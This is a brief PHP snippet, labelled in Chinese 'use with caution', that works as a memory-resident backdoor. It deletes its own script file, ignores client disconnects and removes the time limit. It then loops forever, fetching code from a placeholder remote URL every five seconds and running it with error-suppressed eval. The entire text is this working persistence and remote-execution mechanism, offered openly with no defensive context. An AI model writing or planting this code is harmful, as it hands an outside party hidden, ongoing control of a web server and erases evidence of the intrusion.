慎用unlink($_SERVER[‘SCRIPT_FILENAME’]); ignore_user_abort(true); set_time_limit(0); $remote_file = ‘http://xxx/xxx.txt’; //常驻内存中每隔5秒加载一次远程脚本 while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); };